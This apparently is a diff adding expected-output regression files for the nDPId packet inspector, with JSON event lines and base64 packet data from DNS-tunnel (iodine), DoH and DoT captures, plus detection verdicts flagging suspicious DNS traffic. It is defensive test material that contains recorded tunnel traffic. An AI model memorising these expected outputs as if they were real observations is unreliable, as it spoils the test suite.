+00521{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"dns-tunnel-iodine.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1282356640,"pkt_ts_usec":58430,"pkt_caplen":132,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":132,"pkt_l4_len":98,"pkt":"CAAnx266CAAnnOC0CABFAAB2AABAAEARIkYKAAIeCgACFK5fADUAYgOpi2wBAAABAAAAAAABMnppMDRhQS1MYS1mbPt0ZS1uYe92ZS1mcmFu52Fpc2UtZXN0LXJldGly6S3gLUNy6HRlBnBpcmF0ZQNzZWEAAAoAAQAAKRAAAACAAAAA"} +00596{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"dns-tunnel-iodine.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1282356640,"pkt_ts_usec":58542,"pkt_caplen":184,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":184,"pkt_l4_len":150,"pkt":"CAAnnOC0CAAnx266CABFAACqAABAAEARIhIKAAIUCgACHgA1rl8Alqpji2yEAAABAAEAAAAAMnppMDRhQS1MYS1mbPt0ZS1uYe92ZS1mcmFu52Fpc2UtZXN0LXJldGly6S3gLUNy6HRlBnBpcmF0ZQNzZWEAAAoAAcAMAAoAAQAAAAAAM3ppMDRhQS1MYS1mbPt0ZS1uYe92ZS1mcmFu52Fpc2UtZXN0LXJldGly6S3gLUNy6HRlLg=="} +00532{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"dns-tunnel-iodine.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1282356640,"pkt_ts_usec":58649,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"CAAnx266CAAnnOC0CABFAAB8AABAAEARIkAKAAIeCgACFK5fADUAaHG0qZsBAAABAAAAAAABOHppMDVhQWJCY0NkRGVFZkZnR2hIaUlqSmtLbExtTW5Ob09wUHFRclJzU3RUdVV2VndXeFh5WXpaBnBpcmF0ZQNzZWEAAAoAAQAAKRAAAACAAAAA"} +00612{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"dns-tunnel-iodine.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1282356640,"pkt_ts_usec":58759,"pkt_caplen":196,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":196,"pkt_l4_len":162,"pkt":"CAAnnOC0CAAnx266CABFAAC2AABAAEARIgYKAAIUCgACHgA1rl8AoqSpqZuEAAABAAEAAAAAOHppMDVhQWJCY0NkRGVFZkZnR2hIaUlqSmtLbExtTW5Ob09wUHFRclJzU3RUdVV2VndXeFh5WXpaBnBpcmF0ZQNzZWEAAAoAAcAMAAoAAQAAAAAAOXppMDVhQWJCY0NkRGVFZkZnR2hIaUlqSmtLbExtTW5Ob09wUHFRclJzU3RUdVV2VndXeFh5WXpaLg=="} +00508{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"dns-tunnel-iodine.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1282356640,"pkt_ts_usec":58865,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"CAAnx266CAAnnOC0CABFAABoAABAAEARIlQKAAIeCgACFK5fADUAVBazx8oBAAABAAAAAAABJHppMWFhQTAxMjM0NTY3ODm8vb6\/wMHCw8TFxsfIycrLzM3OzwZwaXJhdGUDc2VhAAAKAAEAACkQAAAAgAAAAA=="} +00557{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"dns-tunnel-iodine.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1282356640,"pkt_ts_usec":58974,"pkt_caplen":156,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":156,"pkt_l4_len":122,"pkt":"CAAnnOC0CAAnx266CABFAACOAABAAEARIi4KAAIUCgACHgA1rl8AegzWx8qEAAABAAEAAAAAJHppMWFhQTAxMjM0NTY3ODm8vb6\/wMHCw8TFxsfIycrLzM3OzwZwaXJhdGUDc2VhAAAKAAHADAAKAAEAAAAAACV6aTFhYUEwMTIzNDU2Nzg5vL2+v8DBwsPExcbHyMnKy8zNzs8u"} +00531{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"dns-tunnel-iodine.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1282356640,"pkt_ts_usec":59078,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"CAAnx266CAAnnOC0CABFAAB4AABAAEARIkQKAAIeCgACFK5fADUAZN9j5fkBAAABAAAAAAABNHppMWJhQdDR0tPU1dbX2Nna29zd3t\/g4eLj5OXm5+jp6uvs7e7v8PHy8\/T19vf4+fr7\/P0GcGlyYXRlA3NlYQAACgABAAApEAAAAIAAAAA="} +00741{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":259,"source":"dns-tunnel-iodine.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":255,"flow_first_seen":1282356640051,"flow_last_seen":1282356654812,"flow_tot_l4_data_len":37534,"flow_min_l4_data_len":48,"flow_max_l4_data_len":1478,"flow_avg_l4_data_len":147,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.2.30","dst_ip":"10.0.2.20","src_port":44639,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name","23":"Suspicious DNS traffic"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"yrbi02.pirate.sea","num_queries":1,"num_answers":1,"reply_code":0,"query_type":10,"rsp_type":10,"rsp_addr":"0.0.0.0"}} diff --git a/test/results/dns_doh.pcap.out b/test/results/dns_doh.pcap.out new file mode 100644 index 000000000..56fe60ef2 --- /dev/null +++ b/test/results/dns_doh.pcap.out @@ -0,0 +1,18 @@ +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"dns_doh.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1571089200789,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.10.4","dst_ip":"104.16.248.249","src_port":49877,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"dns_doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1571089200,"pkt_ts_usec":789290,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"WkBO7NFkeDHBvV4kCABFAABAAABAAEAGI5asFAoEaBD4+cLVAbuk7FgiAAAAALAC\/\/+OlwAAAgQFtAEDAwYBAQgKHZWyDQAAAAAEAgAA"} +00422{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"dns_doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1571089200,"pkt_ts_usec":876406,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eDHBvV4kWkBO7NFkCABFAAA0AAAAADAGc6JoEPj5rBQKBAG7wtXKYdwupOxYI4ASchB+OgAAAgQFFAEBBAIBAwMK"} +00406{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"dns_doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1571089200,"pkt_ts_usec":876498,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"WkBO7NFkeDHBvV4kCABFAAAoAABAAEAGI66sFAoEaBD4+cLVAbuk7FgjymHcL1AQEAAggAAA"} +01104{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"dns_doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1571089200,"pkt_ts_usec":878306,"pkt_caplen":571,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":571,"pkt_l4_len":537,"pkt":"WkBO7NFkeDHBvV4kCABFAAItAABAAEAGIamsFAoEaBD4+cLVAbuk7FgjymHcL1AYEADUpQAAFgMBAgABAAH8AwMqXU892mwEgrbPk2vmEoCiukOQrlB4\/N6a6iNUaK2vhCCE4TBtR7O3Oe++UbyitDTWkNNjEWHZ1bNNN1quFsNy9gAkEwETAxMCwCvAL8ypzKjALMAwwArACcATwBQAMwA5AC8ANQAKAQABjwAAAB8AHQAAGm1vemlsbGEuY2xvdWRmbGFyZS1kbnMuY29tABcAAP8BAAEAAAoADgAMAB0AFwAYABkBAAEBAAsAAgEAACMAAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAAzAGsAaQAdACD0aVsNTtl9Lx5GVsNGBkDynRSOBTbpOHtuKkwLAFQkYQAXAEEE\/AmIeggJ9IHU1kIvKs+Cnhzk3A1QGe6QCQ18\/XG1ZOdvRPgliMZgJr06algkRN3zqCIAxCiyg6awi6QlLrsiLQArAAkIAwQDAwMCAwEADQAYABYEAwUDBgMIBAgFCAYEAQUBBgECAwIBAC0AAgEBABwAAkABABUAhAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00791{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"dns_doh.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1571089200789,"flow_last_seen":1571089200878,"flow_tot_l4_data_len":633,"flow_min_l4_data_len":20,"flow_max_l4_data_len":537,"flow_avg_l4_data_len":158,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.10.4","dst_ip":"104.16.248.249","src_port":49877,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mozilla.cloudflare-dns.com","ja3":"f6ce47303dce394049af395fc6d0bc20","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00406{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"dns_doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1571089200,"pkt_ts_usec":968624,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"eDHBvV4kWkBO7NFkCABFAAAoZNYAADAGDthoEPj5rBQKBAG7wtXKYdwvpOxaKFAQAB4uXQAA"} +02184{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"dns_doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1571089200,"pkt_ts_usec":968629,"pkt_caplen":1354,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1354,"pkt_l4_len":1320,"pkt":"eDHBvV4kWkBO7NFkCABFAAU8ZNcAADAGCcNoEPj5rBQKBAG7wtXKYdwvpOxaKFAQAB4szwAAFgMDAHoCAAB2AwPwfVV8aOGgOqslnV\/1t67BvhE\/CUUPutQ7u\/ptPTMsHiCE4TBtR7O3Oe++UbyitDTWkNNjEWHZ1bNNN1quFsNy9hMBAAAuADMAJAAdACCW52eP3c9sJ7BucVzz5YXXrL\/9fKgMov2fd47YrNSOEgArAAIDBBQDAwABARcDAwtfl8dSqVJlFhhTrB6kCzdrJxMUxk\/\/NKmGFjSBcjqQg\/Oh4ocDInoxcfj8KqE4iPkrtYlIcWuIVzQZ5IEBgfzN9WiWEcp1vI7mZRdFuFbDM\/fMO9IRIgd0li2Z0iJ6prtW54qu0svWjPTN6C50IHOaMtYoo4mZOzFHXFH+nqxe93yeb2DM4Lg87Qop7FoA0G5kZFBdSEoo1Ic5XXGp1uoIupJ6iThilwtRyOcRxHPSEjmICdrH\/QMovglbqjFWQoKA9+NiXFNCSpAfGFIGZE74hWzG5lTHaFCCp2MkXYja46xT2NGan01mhUmWb3PW9ykuOi2GEY5B33r35wgRivDbvWKKi5FF5gkybxgDwYeFGANoPOjkbTywLR8CS5auIQkzBVa7Y3TKvUsJ8TfsUO4lZU6Niw\/8bkjXCOUdu6hSvFq4AdO\/aAt8cWCKfNw+b1D\/fcmQ7C4nb4Ou6+eBeJoqpIFH+rWEvp7l+9xwRMUWhj2zaRNUtBlSFwOQa6nUuTvNdMkUkoUxTkah\/7SyIp8ZXcq69DTBCkZI30bNtsgV+MEDREJL3xDosALMkMo8K1pkW3SnfmHDYv+eBqs1iTksxIycfW1s\/Q97V\/1iheoXh\/KQxscnA\/qDBhOTXMBrOk5zzuscmr1Rm9FDiytNTY\/DTw6lWopw2CwIICs2qaOrOJdoAQaVb7BeQjqUHYaKsKli65Ftdd69eRgAZ9BKrlqd1DLDYPF+gToz3nwYDP56BJFkW9gjUaW64fUtolc3E64AUh5PFDMkw2xOqI4yPmCKqZJiT+qGVWXkzZSeLGcoggFlVYMBXfCAIoD1ql6ZrIVW5l0nlh0XnLsSKwdoE6AZlw0YEiGoKXrrUaD7LWhe3k1EySK7ELeaW7y\/TBwEiRNhHJqVKIq8OEVK6XfuS5XTZsE8SxvkbETrEmaOCQ4J2EqO16p0yTLZU3d0quY0DDulv7\/IT+u6nblUy85dyHiH41bpJ1Kplgs1CEyjsiE93uGom4jeN5oxLFF\/J7gFeR5sCCkV\/h4OgUS7Bt\/R72XV4q\/W5XrY5nzIU8WDRQITC07tdcqoYtuyeGb+uE5hmONbXwKG8Ctuj4HLRVnT5ju0MPOev2GYMiQR5yTgQGNnCfU\/1Tk7bfp\/S6UvEFtP5wA8PFiHH5PFxbokSUKyRpUcr891X88DPczspXFX5YHF\/JqtGTO4ZxgjbBacpW6sXNzSQlW+7odW1heUGO+ytF5gLBX6HKdc8K\/dwg7CD2R0e2+iAS0XjVuXqX4GXc24B2gZ\/f\/5w0SvWR9+n1Wd7TgB0wQyGNs9a0U9nx8UcXk+ZUTqnDHJoqGuC4NWSQ5I7EF7AGsofYRU+7yIUfao8K5zn\/RX1pnZXFvbg2nvwMXtNrhP9+qo\/B2ROPofj8fuqjqUf6CmxPuxoDX8uD15RtA+Twb6CTkgVGZ5aoVX6PVYhU1ohghbb035VSYAsRNNd91H0CI5FHKCB2SZKu2I7B27i9Y\/ClP8JPpdDuN\/gQXoSnOda6CcVE+qD8kyh\/79T4hL30ZJDId88m0\/+w=="} +00832{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6,"source":"dns_doh.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1571089200789,"flow_last_seen":1571089200968,"flow_tot_l4_data_len":1973,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1320,"flow_avg_l4_data_len":328,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.10.4","dst_ip":"104.16.248.249","src_port":49877,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"mozilla.cloudflare-dns.com","ja3":"f6ce47303dce394049af395fc6d0bc20","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02172{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"dns_doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1571089200,"pkt_ts_usec":968631,"pkt_caplen":1354,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1354,"pkt_l4_len":1320,"pkt":"eDHBvV4kWkBO7NFkCABFAAU8ZNgAADAGCcJoEPj5rBQKBAG7wtXKYeFDpOxaKFAQAB7HaAAA8nvqig4\/mGd5hDrPzdsd3zWxrDG3ItVS2\/yx5vVtYxtIfA48NHveoVgHuoT0s91lX4UKZ448iKsrI6EBVUsNDAQrxtQ6pbM+nYO7zyLXksZC1MOImY4Rx+CtBFP6LEWz2I321KxNHT2PAppv4VdZEih7Z140XcLD3J4lTzuyWyxjXKtlEO7D5qrj8FM92DH4nX+G3uH4z6AcZfwFo41rGPcmLRP0ECZ1Z4kDzjfd9UbmqVmDohZNVYHwfjKOfp3LpmITpCYllmotBQXyfFJvAfYUU94fEmOcMJz7rwLfuJRmTZ5G3i+9DoNfPvaO0zAAgUfVX9fth1HoptxHwY3mllh+NBGQOkwGnmVzxjTHqT79nidxKs165NF97ghXpYRlInd177kCXia7oseAoDjRabU9xpyHfacc+aeEM7AcSUal5or2aMPi6j+hqexvnNlIOTX9085k8\/XTyj9lXJzd3ldKqyCsgD8pSX20a8q8MrW1vdhOPVbgV+M3UZXbvi0EsfruxKbiGbCvdAKUo+WsND2xsF9hghtBuO3CBi73D1EIb4lWWjrTib\/HX+lluNoBaQRj8g2jWXkD35o3aNXuO9Yze12C2bW7MAOgS50jOQcXHksXqhqDHjLTNhsfBxMt8u3FmF8PpiVpilW30OrZ5yw\/1XZ63oa+eHBIoByqm5kyAT+iLMcFfM9O3+CpLJLEyr6eyr5\/C2ISizRKsq3+\/+5HDWzb6YCkgbNovJSskHZ4et0X94IcSaEbCATVSt1dbYFhzsT0TdB\/muRpX2ZAX286vHchMG5IBXUivdQHy1ec8wvQTufW3zzc0Hr7KFWfHm2Jh2DiKDT8sd\/KMQwjD\/MtV1ipI9y8UmRMm6aHMd95A2WA4I8xyk4ifdnGZcVOxz1myl\/QxxSORURppT\/bv+6McPdK07PaPsGtHMAuLKzms3JmvykSegQcs7jnhxQDe8bhCTB\/ynIM0xnG9hp3AxN+LK5diR1Ggxwoa16plvF3cVq9JXEVV4rkC9DauZDJKEt0WkLBmvdAkOU9edOrC\/ngauFFHwffGNylgxRWxX9HXZir4jNPoD4Z5\/3AA5UDnfUuwByTERhmAT2MwA+m1wmQ06\/y6GEOOttUsDi0Em7Y4HHhBCTXLBo88oIQ8uJtblqhiOj2mlU1yFhkuxHEntt31Zj59COHTDEDWoSFdqSRkYZEEZSkZcsW6LEMfgitVHhoRZCWct6bgP5RFABnXKtqllD7pCsjr\/S8bYPrDsz97\/Hsb9zkpK5sFdUwdpPxRnQbgCQUUv86qZ4Iv2JX1xGuH88eLPgJvPsyLmL61n2ifuweKT0sTNENN46hR+G4In3Y2ORCo13GEeE\/1wtMinv84rNxCDKFqY1epgUYs23C1232tLcXqjuYQYjdcLS4zPGFQMbsR741LBOD06fC\/8RD1gxjLsHrsnCCrSMCL+K8C+WOFh9tqtRO4ZjpIwCaj6unlavg4hR\/sAqW+red6Midy2ySfE8RV7Ujss7CqWHZqem+jeuo0p59rFs50Q93KacTG3UQIlhC4fB9o9zfI+l2jE+ltpyQU+BT2vDg1MBFvlDWHnEdaQ5KelW3iVsevF\/GNv2F4+q3fK\/peVzd5jI1TbqVtEvuQGJttO9v8C6CTQRHkjn7U6MsO6FYaWV0JxWd1E2vTYXo6MhfcCMlhYP5QiU0Fl2\/Futai78DKbFID0B7IFybOYxhwKL8nZTzfEDlCA=="} +00406{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"dns_doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1571089200,"pkt_ts_usec":968732,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"WkBO7NFkeDHBvV4kCABFAAAoAABAAEAGI66sFAoEaBD4+cLVAbuk7FooymHmV1AQD9cUfAAA"} +00406{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"dns_doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1571089200,"pkt_ts_usec":969243,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"WkBO7NFkeDHBvV4kCABFAAAoAABAAEAGI66sFAoEaBD4+cLVAbuk7FooymHmV1AQEAAUUwAA"} +01023{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"dns_doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1571089200,"pkt_ts_usec":970116,"pkt_caplen":503,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":503,"pkt_l4_len":469,"pkt":"eDHBvV4kWkBO7NFkCABFAAHpZNkAADAGDRRoEPj5rBQKBAG7wtXKYeZXpOxaKFAYAB6tJAAAjMPjGfV1XYlg0RH7gIn1o67K3gX5X7KrHNJzBqc+Y11pyWk6fjn+Vpd2lS0sHSgLrlfU4U8iwGJfgvxEn7DDEB\/TfSCaS+Ya42fPWsQ9P4TwY9WR5n1cvFwoCg+SRipP4O0A8wrh4oekzgrx5Oc3v\/hZZsY6osGYyUMHo5jUztdP7reJFxDgigoEX4KFwq3p3wWSiL4f45YdPFuZzNYfOH8uHwxX19LY5Wn\/QqlgDCBZaslCRRZLmu2lIFWthbgVlACvevw4cp7dpLnKYQ+B\/iB1+oCUV6BVujA5z36MFjAIcyLXJ748rKGkdXoURC0i7eRTT1gUvtJnf1SZ\/cOJR85Jj7Bz9zvJDl9k7bxOMT4SzjxeFgb\/n6C8jYyiUdh1QlML49NiqBX0UQXVfhajwSm09x6s\/rLiIOjXhnZClrzZB66Qxs\/4tPk2SuS\/6FFqSmFSj74W\/4fRiTmtX+f3+1oRefChI9DloHux9VundbqW+B0LUdZSjwvD1c99nUtoO4L9Db0K9WFcjyiAd5QUyNDbGBy8URnkFUdPKjiFFXDpQWCq1yij4D1qLA0uMnFD\/8CdBXQX\/otzoIBMAMoseGI="} +00409{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"dns_doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1571089200,"pkt_ts_usec":970173,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"WkBO7NFkeDHBvV4kCABFAAAoAABAAEAGI66sFAoEaBD4+cLVAbuk7FooymHoGFAQD\/gSmgAA"} +00500{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"dns_doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1571089200,"pkt_ts_usec":996247,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"WkBO7NFkeDHBvV4kCABFAABoAABAAEAGI26sFAoEaBD4+cLVAbuk7FooymHoGFAYEACn1QAAFAMDAAEBFwMDADW8J+MNaAb\/wrltAAv4HDSCQz8Bzyn512OJeqBzVj9glvtCmUJWsHGBAefv3ABeaMgYnCN\/ZQ=="} +00644{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"dns_doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1571089200,"pkt_ts_usec":997105,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"WkBO7NFkeDHBvV4kCABFAADSAABAAEAGIwSsFAoEaBD4+cLVAbuk7FpoymHoGFAYEAAeoAAAFwMDAKVH6TqazYA7ng6LT4l7ICcI+zDrPqkD74EaZ6KlHesT55LnIvUipV2qXZpL8fzDqyEQhFLmXlLAQ93tMr6RsRmWGutBjX2OhZG68kQ4zzqatM7jcG4Y2nVphp4aNS7ac9Qo2\/v7IVdjtQB1CkeQwcFBtxuU+JEsGcEl4y5hc2GPOmwe\/WlOtwx06\/p3NlOkXM54GAVosDROpyIcNMw\/TJ\/7wU2Gazw="} +00738{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"dns_doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1571089200,"pkt_ts_usec":997215,"pkt_caplen":297,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":297,"pkt_l4_len":263,"pkt":"WkBO7NFkeDHBvV4kCABFAAEbAABAAEAGIrusFAoEaBD4+cLVAbuk7FsSymHoGFAYEADbRgAAFwMDAO5\/vj0XEVnApHWZyVont16WzoBfdkAUmUbtIto2rVqakjpRrb9v2jurJwqyY\/z6UQZ3HmonNk14uRAJ2lvf9WUw3Lxqp7XnO9mc2Y0eGDeOQ78Bx7eTPAZJQY8jyiAoQ0jXnRqdThIktvVorw4e0Wm1AXUizW5CUhMfL\/E8EAZDMdczfxELdU1ZS42ZaZ+Phxpxn5fNufCX++USMGjMdp0Yzm2pqkSCVTURNOtV4CfYYOT0WamTvw9J8T9gizqAu6EOuMORP1Jd2wYehzjyC0fMtnDXpkcDrt5TeWwCR9SAmt3pp7M0dWeWWko8+S69"} +00518{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"dns_doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1571089200,"pkt_ts_usec":997306,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"WkBO7NFkeDHBvV4kCABFAAB3AABAAEAGI1+sFAoEaBD4+cLVAbuk7FwFymHoGFAYEACdtAAAFwMDAEqnnHxUsCqmPBkBxfdKmS1LGWAClj9T3prwE3TeVTsVPs4vesfDED+gBYka+2qIBZHm9ndhgvy1QPO4+xzZ0FzqwIc8Gf+UTIjqXQ=="} diff --git a/test/results/dns_dot.pcap.out b/test/results/dns_dot.pcap.out new file mode 100644 index 000000000..4aff22721 --- /dev/null +++ b/test/results/dns_dot.pcap.out @@ -0,0 +1,18 @@ +00467{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"dns_dot.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1572783663234,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.185","dst_ip":"8.8.8.8","src_port":58290,"dst_port":853,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"dns_dot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1572783663,"pkt_ts_usec":234722,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"uCfrK5DxCAAnjau+CABFAAA8w6dAAEAGpKPAqAG5CAgICOOyA1VVRPv3AAAAAKAC+vDSnwAAAgQFtAQCCAoqL5UTAAAAAAEDAwc="} +00435{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"dns_dot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1572783663,"pkt_ts_usec":269648,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"CAAnjau+uCfrK5DxCABFAAA8cqUAAHcG\/qUICAgIwKgBuQNV47LuO0vYVUT7+KAS6yDKxQAAAgQFZAQCCAqOOwAQKi+VEwEDAwg="} 